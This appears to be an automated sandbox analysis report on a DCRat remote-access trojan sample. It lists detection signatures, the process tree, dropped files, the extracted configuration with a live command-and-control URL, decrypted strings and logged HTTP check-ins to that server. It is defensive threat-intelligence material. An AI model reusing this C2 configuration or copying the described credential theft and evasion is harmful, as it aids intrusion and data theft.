Edit tour

Windows Analysis Report
KyC6hVwU8Z.exe

Overview

General Information

Sample name:	KyC6hVwU8Z.exe renamed because original name is a hash value
Original sample name:	a8c535490feb18fdff588d94c0d8a889.exe
Analysis ID:	1572160
MD5:	a8c535490feb18fdff588d94c0d8a889
SHA1:	7e8660d2481014bdf84814273573b921202c67e6
SHA256:	5f4e7c6f450d28136464acb431e1ec1be7812fc72f9eeede3b767f4e0194801b
Tags:	exeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains potential unpacker

.NET source code contains very large strings

AI detected suspicious sample

Contains functionality to inject code into remote processes

Drops executables to the windows directory (C:\Windows) and starts them

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

KyC6hVwU8Z.exe (PID: 6176 cmdline: "C:\Users\user\Desktop\KyC6hVwU8Z.exe" MD5: A8C535490FEB18FDFF588D94C0D8A889)

conhost.exe (PID: 1532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KyC6hVwU8Z.exe (PID: 652 cmdline: "C:\Users\user\Desktop\KyC6hVwU8Z.exe" MD5: A8C535490FEB18FDFF588D94C0D8A889)

KyC6hVwU8Z.exe (PID: 2292 cmdline: "C:\Users\user\Desktop\KyC6hVwU8Z.exe" MD5: A8C535490FEB18FDFF588D94C0D8A889)

7Up9zvGH4w.exe (PID: 2136 cmdline: "C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe" MD5: F3EDFF85DE5FD002692D54A04BCB1C09)

conhost.exe (PID: 3332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

pPTyCqA3ru.exe (PID: 2132 cmdline: "C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe" MD5: 314420BAC969BCFB9510A0E8CC3686D6)

cmd.exe (PID: 6844 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 2568 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 4816 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

PfjsOcNiQfAmiszo.exe (PID: 6180 cmdline: "C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe" MD5: 314420BAC969BCFB9510A0E8CC3686D6)

WerFault.exe (PID: 2072 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 268 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "false", "13": "true", "14": "true"}}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000C.00000000.2794932818.0000000000052000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: KyC6hVwU8Z.exe PID: 2292	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: pPTyCqA3ru.exe PID: 2132	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: PfjsOcNiQfAmiszo.exe PID: 6180	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.KyC6hVwU8Z.exe.400000.2.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
6.2.KyC6hVwU8Z.exe.400000.2.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
6.2.KyC6hVwU8Z.exe.436080.3.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
12.0.pPTyCqA3ru.exe.50000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:33:14.232792+0100	2048095	1	A Network Trojan was detected	192.168.2.5	49867	185.43.5.93	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\dFZxqctW.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\luKnOVOf.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\oUNDhiUw.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\yTUtFuTG.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961

Found malware configuration

Source: 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "false", "13": "true", "14": "true"}}

Multi AV Scanner detection for domain / URL

Source: http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php	Virustotal: Detection: 11%			Perma Link
Source: http://185.43.5.93	Virustotal: Detection: 5%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Desktop\dFZxqctW.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\luKnOVOf.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\oUNDhiUw.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\yTUtFuTG.log	ReversingLabs: Detection: 70%
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\Resources\Ease of Access Themes\PfjsOcNiQfAmiszo.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: KyC6hVwU8Z.exe	ReversingLabs: Detection: 71%
Source: KyC6hVwU8Z.exe	Virustotal: Detection: 50%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\oUNDhiUw.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\yTUtFuTG.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: KyC6hVwU8Z.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 12.0.pPTyCqA3ru.exe.50000.0.unpack	String decryptor: ["QydFvL1QAJM6EFVw15nrocyyKvycAaWe2ErkIyFOxI7hX9jV4GtYtJ1xAp5AXZQkxsEAXvnDzY3gfRaKLdh3q7vtN3jd3F1Y1Wup5j7JdqiUPUStOuy31W4z6UwdLJJu","d9644a53c099b8ef069d97c7b0d2f65e85cf0cff3293cfd8bb62590e72fe2bea","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHRXbWhpU0U1c1NXbDNhVTFVVFdsUGFVb3dZMjVXYkVscGQybE5WRkZwVDJsS01HTnVWbXhKYmpBOUlsMD0iXQ=="]
Source: 12.0.pPTyCqA3ru.exe.50000.0.unpack	String decryptor: [["http://185.43.5.93/5/4Datalife/asynccpu3Generator/","VmPipePollHttpgeoprocessserver"]]

Source: KyC6hVwU8Z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\f6900929d627b7			Jump to behavior

Source: KyC6hVwU8Z.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: mountvol.pdb source: KyC6hVwU8Z.exe, KyC6hVwU8Z.exe, 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 7Up9zvGH4w.exe, 0000000A.00000000.2793610313.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe, 0000000A.00000002.2796201070.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe.6.dr
Source:	Binary string: wC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000029B4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mountvol.pdbGCTL source: KyC6hVwU8Z.exe, 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 7Up9zvGH4w.exe, 0000000A.00000000.2793610313.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe, 0000000A.00000002.2796201070.00007FF64C404000.00000002.00000001.01000000.00000006.sdmp, 7Up9zvGH4w.exe.6.dr
Source:	Binary string: }C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000029B4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb m^ source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000029B4000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_00200C97 FindFirstFileExW,	0_2_00200C97
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_00200D48 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00200D48
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_00200C97 FindFirstFileExW,	5_2_00200C97
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_00200D48 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00200D48
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0041B6EA FindFirstFileExW,	6_2_0041B6EA

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 4x nop then jmp 00007FF849104AA8h	12_2_00007FF849104560
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 4x nop then jmp 00007FF848F3C906h	18_2_00007FF848F3C6ED
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 4x nop then jmp 00007FF84912209Bh	18_2_00007FF849121CD0
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 4x nop then dec eax	18_2_00007FF849118FF1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.5:49867 -> 185.43.5.93:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: THEFIRST-ASRU THEFIRST-ASRU

Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1764Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1764Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: multipart/form-data; boundary=----6Bb2TGQW3wrvnAZPjUVj3vIvEUSrxVXwXUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 15834Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
